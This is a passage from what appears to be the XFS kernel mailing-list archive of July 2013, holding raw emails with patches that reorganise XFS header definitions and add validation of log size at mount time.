XFS_SB_VERSION2_PROJID32BIT; +} + static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) { return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h index 3743948..c8e3a02 100644 --- a/fs/xfs/xfs_symlink.h +++ b/fs/xfs/xfs_symlink.h @@ -49,7 +49,8 @@ struct xfs_dsymlink_hdr { sizeof(struct xfs_dsymlink_hdr) : 0)) int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); - +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, struct xfs_inode *ip, struct xfs_ifork *ifp); diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index ffaa584..772d5ae 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -64,7 +64,7 @@ struct xfs_log_item; #define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) #define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) #define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) #define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) #define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) #define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) @@ -325,7 +325,4 @@ extern kmem_zone_t *xfs_log_item_desc_zone; #endif /* __KERNEL__ */ -void xfs_trans_init(struct xfs_mount *); -int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); - #endif /* __XFS_TRANS_H__ */ diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h index 53b7c9b..d43b130 100644 --- a/fs/xfs/xfs_trans_priv.h +++ b/fs/xfs/xfs_trans_priv.h @@ -25,6 +25,9 @@ struct xfs_trans; struct xfs_ail; struct xfs_log_vec; + +void xfs_trans_init(struct xfs_mount *); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); void xfs_trans_add_item(struct xfs_trans *, struct xfs_log_item *); void xfs_trans_del_item(struct xfs_log_item *); void xfs_trans_free_items(struct xfs_trans *tp, xfs_lsn_t commit_lsn, diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 781772c..6ed6b26 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -32,7 +32,6 @@ typedef unsigned int __uint32_t; typedef signed long long int __int64_t; typedef unsigned long long int __uint64_t; -typedef __uint32_t prid_t; /* project ID */ typedef __uint32_t inst_t; /* an instruction */ typedef __s64 xfs_off_t; /* type */ @@ -55,6 +54,8 @@ typedef __uint64_t __psunsigned_t; #endif /* __KERNEL__ */ +typedef __uint32_t prid_t; /* project ID */ + typedef __uint32_t xfs_agblock_t; /* blockno in alloc. group */ typedef __uint32_t xfs_agino_t; /* inode # within allocation grp */ typedef __uint32_t xfs_extlen_t; /* extent length in blocks */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5C6FF7F6B for ; Fri, 19 Jul 2013 01:25:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B7438F8033 for ; Thu, 18 Jul 2013 23:25:34 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IdQ0FKuUMcBK8hFb for ; Thu, 18 Jul 2013 23:25:32 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000481-LJ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xG-KV for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/49] xfs: introduce xfs_rtalloc_defs.h Date: Fri, 19 Jul 2013 16:24:39 +1000 X-ASG-Orig-Subj: [PATCH 08/49] xfs: introduce xfs_rtalloc_defs.h Message-Id: <1374215120-7271-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215132 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are quite a few realtime device definitions shared with userspace. Move them from xfs_rtalloc.h to xfs_rt_alloc_defs.h so we don't need to share xfs_rtalloc.h with userspace anymore. This removes the final __KERNEL__ region from the XFS kernel codebase. Yay! Signed-off-by: Dave Chinner --- fs/xfs/xfs_format.h | 41 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_rtalloc.c | 2 +- fs/xfs/xfs_rtalloc.h | 53 ++-------------------------------------------------- fs/xfs/xfs_types.h | 10 ++++++++++ 4 files changed, 54 insertions(+), 52 deletions(-) diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index 2b4f166..6205374 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -28,6 +28,47 @@ */ /* + * RealTime Device format definitions + */ + +/* Min and max rt extent sizes, specified in bytes */ +#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ +#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ +#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ + +#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) +#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) +#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) +#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) + +/* + * RT Summary and bit manipulation macros. + */ +#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) +#define XFS_SUMOFFSTOBLOCK(mp,s) \ + (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) +#define XFS_SUMPTR(mp,bp,so) \ + ((xfs_suminfo_t *)((bp)->b_addr + \ + (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) + +#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) +#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) +#define XFS_BITTOWORD(mp,bi) \ + ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) + +#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) +#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) + +#define XFS_RTLOBIT(w) xfs_lowbit32(w) +#define XFS_RTHIBIT(w) xfs_highbit32(w) + +#if XFS_BIG_BLKNOS +#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) +#else +#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) +#endif + +/* * Dquot and dquot block format definitions */ #define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 98dc670..5d900ec 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -17,7 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" -#include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_rtalloc.h b/fs/xfs/xfs_rtalloc.h index f7f3a35..b2a1a24 100644 --- a/fs/xfs/xfs_rtalloc.h +++ b/fs/xfs/xfs_rtalloc.h @@ -18,58 +18,11 @@ #ifndef __XFS_RTALLOC_H__ #define __XFS_RTALLOC_H__ +/* kernel only definitions and functions */ + struct xfs_mount; struct xfs_trans; -/* Min and max rt extent sizes, specified in bytes */ -#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ -#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ -#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ - -/* - * Constants for bit manipulations. - */ -#define XFS_NBBYLOG 3 /* log2(NBBY) */ -#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ -#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) -#define XFS_NBWORD (1 << XFS_NBWORDLOG) -#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) - -#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) -#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) -#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) -#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) - -/* - * Summary and bit manipulation macros. - */ -#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) -#define XFS_SUMOFFSTOBLOCK(mp,s) \ - (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) -#define XFS_SUMPTR(mp,bp,so) \ - ((xfs_suminfo_t *)((bp)->b_addr + \ - (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) - -#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) -#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) -#define XFS_BITTOWORD(mp,bi) \ - ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) - -#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) -#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) - -#define XFS_RTLOBIT(w) xfs_lowbit32(w) -#define XFS_RTHIBIT(w) xfs_highbit32(w) - -#if XFS_BIG_BLKNOS -#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) -#else -#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) -#endif - - -#ifdef __KERNEL__ - #ifdef CONFIG_XFS_RT /* * Function prototypes for exported functions. @@ -161,6 +114,4 @@ xfs_rtmount_init( # define xfs_rtunmount_inodes(m) #endif /* CONFIG_XFS_RT */ -#endif /* __KERNEL__ */ - #endif /* __XFS_RTALLOC_H__ */ diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 69074ac..781772c 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -183,4 +183,14 @@ struct xfs_name { */ typedef __uint32_t xfs_dqid_t; +/* + * Constants for bit manipulations. + */ +#define XFS_NBBYLOG 3 /* log2(NBBY) */ +#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ +#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) +#define XFS_NBWORD (1 << XFS_NBWORDLOG) +#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) + + #endif /* __XFS_TYPES_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0A4F47F77 for ; Fri, 19 Jul 2013 01:25:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EF75E8F8033 for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id LEiPD6UYo35JUBro for ; Thu, 18 Jul 2013 23:25:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLx4VCBgxOQMbGYgPti+OSyeBOoNmA6kqgyQqgSwCHgY Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048N-Du for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-000208-Cg for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 42/49] xfs: Validate log space at mount time Date: Fri, 19 Jul 2013 16:25:13 +1000 X-ASG-Orig-Subj: [PATCH 42/49] xfs: Validate log space at mount time Message-Id: <1374215120-7271-43-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215136 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Validate log space during log mount stage, the underlying function will drop a warning message via syslog in critical level if the log space is too small or too large. [ dchinner: For CRC enable filesystems, abort the mounting of the filesystem as mkfs should never make a log too small for the given filesystem configuration. ] Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.c | 49 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index b02415b..64b1f01 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -614,7 +614,9 @@ xfs_log_mount( xfs_daddr_t blk_offset, int num_bblks) { - int error; + int error = 0; + int min_logfsbs; + int max_logfsbs; if (!(mp->m_flags & XFS_MOUNT_NORECOVERY)) xfs_notice(mp, "Mounting Filesystem"); @@ -631,6 +633,51 @@ xfs_log_mount( } /* + * Validate the given log space and drop a critical message via syslog + * if the log size is too small that would lead to some unexpected + * situations in transaction log space reservation stage. + * + * Note: we can't just reject the mount if the validation fails. This + * would mean that people would have to downgrade their kernel just to + * remedy the situation as there is no way to grow the log (short of + * black magic surgery with xfs_db). + * + * We can, however, reject mounts for CRC format filesystems, as the + * mkfs binary being used to make the filesystem should never create a + * filesystem with a log that is too small. + */ + min_logfsbs = xfs_log_calc_minimum_size(mp); + max_logfsbs = XFS_BB_TO_FSB(mp, XFS_MAX_LOG_BLOCKS); + + if (mp->m_sb.sb_logblocks < min_logfsbs) { + xfs_warn(mp, + "Log size %d blocks too small, minimum size is %d blocks", + mp->m_sb.sb_logblocks, min_logfsbs); + error = EINVAL; + } else if (mp->m_sb.sb_logblocks > max_logfsbs) { + xfs_warn(mp, + "Log size %d blocks too large, maximum size is %d blocks", + mp->m_sb.sb_logblocks, max_logfsbs); + error = EINVAL; + } else if (XFS_FSB_TO_B(mp, mp->m_sb.sb_logblocks) > XFS_MAX_LOG_BYTES) { + xfs_warn(mp, + "log size %lld bytes too large, maximum size is %lld bytes", + XFS_FSB_TO_B(mp, mp->m_sb.sb_logblocks), + XFS_MAX_LOG_BYTES); + error = EINVAL; + } + if (error) { + if (xfs_sb_version_hascrc(&mp->m_sb)) { + xfs_crit(mp, "AAIEEE! Log failed size checks. Abort!"); + ASSERT(0); + goto out_free_log; + } + xfs_crit(mp, +"Log size out of supported range. Continuing onwards, but if log hangs are\n" +"experienced then please report this message in the bug report."); + } + + /* * Initialize the AIL now we have a log. */ error = xfs_trans_ail_init(mp); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B9EFB7F6F for ; Fri, 19 Jul 2013 01:25:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 70D388F8033 for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id N9IdC0IaN7HdXK5q for ; Thu, 18 Jul 2013 23:25:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45nC4UgA6kqgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047u-I5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001wf-FW for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/49] xfs: separate out log format definitions Date: Fri, 19 Jul 2013 16:24:32 +1000 X-ASG-Orig-Subj: [PATCH 01/49] xfs: separate out log format definitions Message-Id: <1374215120-7271-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215134 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the log are spread randoms through a couple of header files. Consolidate it all in a single file that can be shared easily with userspace. This means that xfs_log.h and xfs_log_priv.h no longer need to be shared with userspace. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.h | 89 ++++++------------------ fs/xfs/xfs_log_format.h | 178 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_log_priv.h | 146 ++------------------------------------ fs/xfs/xfs_log_recover.c | 2 + 4 files changed, 207 insertions(+), 208 deletions(-) create mode 100644 fs/xfs/xfs_log_format.h diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index fb630e4..e63d9e1 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -18,14 +18,29 @@ #ifndef __XFS_LOG_H__ #define __XFS_LOG_H__ -/* get lsn fields */ -#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) -#define BLOCK_LSN(lsn) ((uint)(lsn)) +#include "xfs_log_format.h" -/* this is used in a spot where we might otherwise double-endian-flip */ -#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) +struct xfs_log_vec { + struct xfs_log_vec *lv_next; /* next lv in build list */ + int lv_niovecs; /* number of iovecs in lv */ + struct xfs_log_iovec *lv_iovecp; /* iovec array */ + struct xfs_log_item *lv_item; /* owner */ + char *lv_buf; /* formatted buffer */ + int lv_buf_len; /* size of formatted buffer */ +}; + +#define XFS_LOG_VEC_ORDERED (-1) + +/* + * Structure used to pass callback function and the function's argument + * to the log manager. + */ +typedef struct xfs_log_callback { + struct xfs_log_callback *cb_next; + void (*cb_func)(void *, int); + void *cb_arg; +} xfs_log_callback_t; -#ifdef __KERNEL__ /* * By comparing each component, we don't have to worry about extra * endian issues in treating two 32 bit numbers as one 64 bit number @@ -59,67 +74,6 @@ static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) */ #define XFS_LOG_SYNC 0x1 -#endif /* __KERNEL__ */ - - -/* Log Clients */ -#define XFS_TRANSACTION 0x69 -#define XFS_VOLUME 0x2 -#define XFS_LOG 0xaa - - -/* Region types for iovec's i_type */ -#define XLOG_REG_TYPE_BFORMAT 1 -#define XLOG_REG_TYPE_BCHUNK 2 -#define XLOG_REG_TYPE_EFI_FORMAT 3 -#define XLOG_REG_TYPE_EFD_FORMAT 4 -#define XLOG_REG_TYPE_IFORMAT 5 -#define XLOG_REG_TYPE_ICORE 6 -#define XLOG_REG_TYPE_IEXT 7 -#define XLOG_REG_TYPE_IBROOT 8 -#define XLOG_REG_TYPE_ILOCAL 9 -#define XLOG_REG_TYPE_IATTR_EXT 10 -#define XLOG_REG_TYPE_IATTR_BROOT 11 -#define XLOG_REG_TYPE_IATTR_LOCAL 12 -#define XLOG_REG_TYPE_QFORMAT 13 -#define XLOG_REG_TYPE_DQUOT 14 -#define XLOG_REG_TYPE_QUOTAOFF 15 -#define XLOG_REG_TYPE_LRHEADER 16 -#define XLOG_REG_TYPE_UNMOUNT 17 -#define XLOG_REG_TYPE_COMMIT 18 -#define XLOG_REG_TYPE_TRANSHDR 19 -#define XLOG_REG_TYPE_ICREATE 20 -#define XLOG_REG_TYPE_MAX 20 - -typedef struct xfs_log_iovec { - void *i_addr; /* beginning address of region */ - int i_len; /* length in bytes of region */ - uint i_type; /* type of region */ -} xfs_log_iovec_t; - -struct xfs_log_vec { - struct xfs_log_vec *lv_next; /* next lv in build list */ - int lv_niovecs; /* number of iovecs in lv */ - struct xfs_log_iovec *lv_iovecp; /* iovec array */ - struct xfs_log_item *lv_item; /* owner */ - char *lv_buf; /* formatted buffer */ - int lv_buf_len; /* size of formatted buffer */ -}; - -#define XFS_LOG_VEC_ORDERED (-1) - -/* - * Structure used to pass callback function and the function's argument - * to the log manager. - */ -typedef struct xfs_log_callback { - struct xfs_log_callback *cb_next; - void (*cb_func)(void *, int); - void *cb_arg; -} xfs_log_callback_t; - - -#ifdef __KERNEL__ /* Log manager interfaces */ struct xfs_mount; struct xlog_in_core; @@ -188,5 +142,4 @@ void xfs_log_work_queue(struct xfs_mount *mp); void xfs_log_worker(struct work_struct *work); void xfs_log_quiesce(struct xfs_mount *mp); -#endif #endif /* __XFS_LOG_H__ */ diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h new file mode 100644 index 0000000..9f9aeb6 --- /dev/null +++ b/fs/xfs/xfs_log_format.h @@ -0,0 +1,178 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_LOG_FORMAT_H__ +#define __XFS_LOG_FORMAT_H__ + +typedef __uint32_t xlog_tid_t; + +#define XLOG_MIN_ICLOGS 2 +#define XLOG_MAX_ICLOGS 8 +#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ +#define XLOG_VERSION_1 1 +#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ +#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) +#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ +#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ +#define XLOG_MAX_RECORD_BSIZE (256*1024) +#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ +#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ +#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ +#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ +#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ + (log)->l_mp->m_sb.sb_logsunit) +#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) + +#define XLOG_HEADER_SIZE 512 + +#define XLOG_REC_SHIFT(log) \ + BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) +#define XLOG_TOTAL_REC_SHIFT(log) \ + BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ + XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) + +/* get lsn fields */ +#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) +#define BLOCK_LSN(lsn) ((uint)(lsn)) + +/* this is used in a spot where we might otherwise double-endian-flip */ +#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) + +static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) +{ + return ((xfs_lsn_t)cycle << 32) | block; +} + +static inline uint xlog_get_cycle(char *ptr) +{ + if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) + return be32_to_cpu(*((__be32 *)ptr + 1)); + else + return be32_to_cpu(*(__be32 *)ptr); +} + +/* Log Clients */ +#define XFS_TRANSACTION 0x69 +#define XFS_VOLUME 0x2 +#define XFS_LOG 0xaa + +#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ + +/* Region types for iovec's i_type */ +#define XLOG_REG_TYPE_BFORMAT 1 +#define XLOG_REG_TYPE_BCHUNK 2 +#define XLOG_REG_TYPE_EFI_FORMAT 3 +#define XLOG_REG_TYPE_EFD_FORMAT 4 +#define XLOG_REG_TYPE_IFORMAT 5 +#define XLOG_REG_TYPE_ICORE 6 +#define XLOG_REG_TYPE_IEXT 7 +#define XLOG_REG_TYPE_IBROOT 8 +#define XLOG_REG_TYPE_ILOCAL 9 +#define 